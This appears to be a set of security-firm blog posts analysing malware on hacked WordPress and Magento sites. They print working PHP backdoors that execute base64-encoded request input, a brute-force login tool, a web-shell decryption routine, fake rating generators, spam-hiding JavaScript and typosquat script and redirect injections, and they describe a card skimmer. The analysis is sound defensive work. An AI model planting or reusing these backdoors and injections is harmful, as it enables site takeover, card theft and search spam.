There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:

< script language="php" >
$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).
chr(101).chr(99).chr(111).chr(100).chr(101);
e v a l($a($_REQUEST[sam]));</script>

Originally, it\'s a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.

The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.

While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.

A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).

<?php 
$m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95).
chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$m=$m($_REQUEST[chr(122)]);
@file_put_contents(chr(122),"<?php ".$m);
@include(chr(122));
@unlink(chr(122));

Again, originally it\'s all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there\'s no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let\'s see how it works without the eval:

The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.

Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.

It's quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search result pages and to give them more credibility.

Here is one example of how such fake ratings are being generated:

...$rating = rand(3,5);$rcount = rand(120,220);$txt = "<div itemscope="" itemtype="http://schema.org/Product">n    <span itemprop="name">$htitle</span>n    <div itemprop="aggregateRating" itemscope=""    itemtype="http://schema.org/AggregateRating">n    <span itemprop="ratingValue">$rating-5</span> stars based onn    <span itemprop="reviewCount">$rcount</span> reviewsn</div>n    </div>n";...

As you can see, they aim for ratings like 4-5 stars based on 133 reviews, but both the rating and the number of reviews are just random numbers in the ranges that make them look both plausible (not 5 stars always) and trustworthy (based on at least 120 reviews). Funny, this particular code allows to generate ratings like 5-5 stars 😉

As many other things on the web, you shouldn't immediately trust anything what you see in Google's search results. Those rating stars are not a seal of quality from Google. It's just information provided by sites themselves. Moreover, when you search for cheap prescription drugs, pirated software, luxury replicas or questionable financial services, quite often such ratings in search results are fake, and results lead to doorways on hacked sites.

If your site doesn't use rich snippets on its pages, but you see them in the Search Appearance/Structured Data section of Google Search Console, this may be a sign of a hack.

It's one of many examples of SEO poisoning infections that we deal with. We literally remove Gigabytes of spammy doorways from hacked sites every day and if you need a professional help, you can always count on us.

Just a quick reminder:

• Don't use common words and easy character combinations as passwords.
• Your compromised site can be used to hack third-party sites.

A real world confirmation of the above two statements sometimes can be found in one script. For example in a so called WordPress Brute Force Tool that we regularly find uploaded to compromised sites.

...if($_POST){	if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');	$username = trim($_POST['username']);	$thread = trim($_POST['threads']);	$wordlist = array_filter(file($_POST['wordlist']));	if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');	$log = trim($_POST['log']);	$urlz = array_filter(explode("rn", $_POST['sites']));	foreach($urlz as $url){		la_brute($url, $username, $wordlist, $thread, $log);	}}

This tool receives lists of WordPress sites and common passwords. Then it tries every login/password combination on every site and reports the combinations that worked. To improve performance, this particular tool sends requests to multiple sites at once using asynchronous Curl functions.

Having uploaded such tools to multiple compromised sites on different servers, hackers can conduct distributed brute-force attacks.

Brute-forcing is just one of the many types of distributed attacks that your compromised site may be used for. DDoS attacks and vulnerability scans also regularly leverage resources of hacked sites.

Make the Internet safer: Use strong passwords and protect your site.

The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer credit card details either via server level code or JavaScript injected into order pages.

Modifications of the app/code/core/Mage/Payment/Model/Method/Cc.php file are among the most popular. Here are some typical examples that we wrote about:

• Impacts of a Hack on a Magento Ecommerce Website
• Magento script stealing credit card details

Recently we found one more modification of this malware. The code is almost identical. The main changes are the use of online services to retrieve geolocation data based on the victim IP address

$dip = json_decode(file_get_contents("http://ip-api.com/json/".$ip.""));$country = $dip->country;

and the bank data based on the credit card number

$bin = substr($binx, 0, 6);$getbank = json_decode(file_get_contents("http://www.binlist.net/json/".$bin.""));$ccbrand = $getbank->brand;$ccbank = $getbank->bank;$cctype = $getbank->card_type;

plus the new remote address where they send the stolen data to: hxxps://www.herdamultimedia[.]com/resulta.php, which seems to also be a hacked site.

The most interesting thing about this malware is that not only did it inject the malicious code into Cc.php but also encrypted the whole file content so that it looks like one long line of code:

<?php /* Mr-GanDrunX - Hiddenymouz - HiddenCode */ error_reporting(0); define('__LOCALFILE__',__FILE__); goto HIDDEN; function gandrunx(){ preg_replace("/.*/e",strrev("x3Bx29x29x29'=Q..... 

This encryption is mainly used by Indonesian hackers.

Why did they encrypt the file? Probably to avoid detection when people search for the malware patterns that we reported before. However, it's actually not a very bright idea. Many malware scanners will detect the suspicious encryption anyway. Plus it is very easy to find it if you compare files to the canonical Magento files.

If you see modified core Magento files don't try to identify and remove the malicious code - just replace them with the original ones. And don't forget to update/patch Magento, check if there are any malicious administrator users and scan your server for backdoors that hackers might left there. Or let Sucuri take care of your site

We've seen lots of JavaScript tricks that hide injected spam from human visitors while making it look "visible" for search engines.

The most popular approach is applying the display:none style to a spam block like here:

<div id="tesi"><strong style="font-weight: 400">...SPAMMY CONTENT HERE...</div><script>document.getElementById("t"+"e"+"s"+"i").style.display='none';</script>	

Here you can see a div block with id tesi, followed by a JavaScript that makes the element tesi invisible.

This looks obvious when you see it but may be not as obvious to search engine bots that need to figure out how the JavaScript code affects visibility of a particular content. To make thing even more difficult, the element id in the script is slightly obfuscated "t"+"e"+"s"+"i" and you really need to execute the code to identify the element it works with.

A more interesting obfuscation is used in the __e_accelerate campaign that we wrote about last week. The injected content consist of multiple blocks like this:

<script language="JavaScript">vouhihni='bumnajmi';imppkmat="none";</script><blockquote id="bumnajmi">...SPAMMY CONTENT HERE...</blockquote>

At first glance, the JavaScript code does't make any sence. Although we can see the id of the spam block there bumnajmi and the imppkmat="none"; part implies that it hides something. But we don't see what makes the bumnajmi element hidden.

The answer lies in the trailing JavaScript block:

<script language="JavaScript">sucoy=document.getElementById(vouhihni); sucoy.style.display=imppkmat;</script>

This block glues the parts of the first block together. The first variable is used to select a DOM element. And the second variable is used to make the selected element invisible.

While this trick may fool some search engines into indexing the spammy content while keeping the spam invisble to human visitors, it's still not a problem for website security scanners like our SiteCheck that see and report the spam.

Remember the wave of HTML files infection back in 2015 affecting outdated WordPress sites? Now it came back more powerful, with more files uploaded via a PHP backdoor.

We have found large number of created folders in the root folder of a website.

The naming convention of the SPAM files was different from the previous infections, and the uploader backdoor script was located in the wp-content folder.

The obfuscation had this string:

eval(fUUPd("jbvnzvTQep53AAZ8Dhs7BiKFjlmGFYISsAx772QUCKzD3nuQYw8/SY71x95+AWJAcnGVZz...

where fUUPd was a custom decryption function based on gzinflate/base64_decode and character code shift.

function fUUPd($NVAR) { 	$NVAR=gzinflate(base64_decode($NVAR)); 	for($i=0;$i<strlen($NVAR);$i++) { 		$NVAR[$i] = chr(ord($NVAR[$i])-1); 	} 	return $NVAR; }

After decoding, it was easy to recognize the most popular WSO/FilesMan web shell.

The interesting part was the sitemap.xml files in all SPAM folders that clearly speeded up indexing of the malicious pages in popular search engines.

Keep an eye on your Search Console reports and notifications - you may find early signs of the compromise there. Act before it's too late and Google places embarrassing "This site may be hacked" label on your search results. Website security monitoring will help you stay on top of things.

You might know Google popular services: AdWords, AdSense and DoubleClick. You might even know scripts and domains they use. For example, DoubleClick loads scripts from googleads.g.doubleclick.net and AdWords load a conversion tracker script from www.googleadservices.com/pagead/conversion.js.

<script type="text/javascript"   src="//www.googleadservices.com/pagead/conversion.js">   </script>

Recently, we cleaned an infected WordPress site where every post in the wp_posts table was appended by the following script.

<script src="http://ads.googleadservices[.]at/counter.js" type="text/javascript"></script>

The same googleadservices domain, just on the .at TLD. Easy to confuse with the Google's one.

This domain can be also found in conditional mobile redirect rules in .htaccess

...RewriteRule ^(.*)$ http://mobile.googleadservices[.]at [L,R=302]

If we open that counter.js script, we'll see that it creates a pop-up loading hxxp://googleads.g.doubleclick[.]cn.com/cfqv.cgi?18. Again, the same googleads.g.doubleclick domain as in DoubleClick but on .cn.com instead of .net.

In our experience. such domains usually redirect traffic to some ad network or to whoever pays for it. In this case, the pop-up always shows the usa-immigration-service[.]us site and it looks like the whole malware campaign was created (and doubleclick[.]cn.com and googleadservices[.]at were registered) specifically to promoted that immigration service site (which could easily be a scam).

You can see it if you check the IP addresses of each site:

• ads.googleadservices[.]at 37.139.50.191 - dedicated server in Russia
• googleads.g.doubleclick[.]cn.com - 37.139.50.190 - dedicated server in Russia
• usa-immigration-service[.]us - 37.139.50.190 - dedicated server in Russia

Summary

• Don't trust well know domains. Especially when they are misspelled or have a different TLD. Especially when they are found in the places where you didn't put them.
• Don't trust obtrusive ads. If you see pop-up or redirects unrelated to sites you visit, the chances are they are scam.
• When you clean your website, don't forget about the database. It can be infected too. We clean lots of sites with infected databases.